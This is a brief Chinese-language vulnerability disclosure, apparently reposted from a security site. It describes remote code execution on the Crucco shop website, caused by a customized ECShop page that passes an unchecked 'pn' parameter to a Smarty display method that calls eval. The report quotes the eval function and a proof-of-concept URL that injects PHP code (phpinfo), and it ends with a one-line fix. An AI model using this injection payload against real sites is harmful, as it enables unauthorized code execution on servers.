初刻Crucco主站任意代码执行 - 网站安全 - 自学p

初刻用的是ecshop，但是程序员二次开发中太过随意，导致问题产生。。。

http://HdhCmsTestcrucco测试数据/huodongye.php?pn=zucefangsi

在这里我们发现pn的值没有指定，可以任意提交，我们推断应该程序员写成以下代码

 

$smarty->display($_GET['p']);

我们找到ecshop中的 display方法 发现里面用了eval

 

function _eval($content)

    {

        ob_start();

        eval('?' . '>' . trim($content));

        $content = ob_get_contents();

        ob_end_clean();

 

        return $content;

    }

 

我们提交以下url:

http://HdhCmsTestcrucco测试数据/huodongye.php?pn=str:%3C?php%20phpinfo%28%29;//

会发现可爱的phpinfo出来了

 

 

修复方案： 指定pn的值

 

查看更多关于初刻Crucco主站任意代码执行 - 网站安全 - 自学p的详细内容...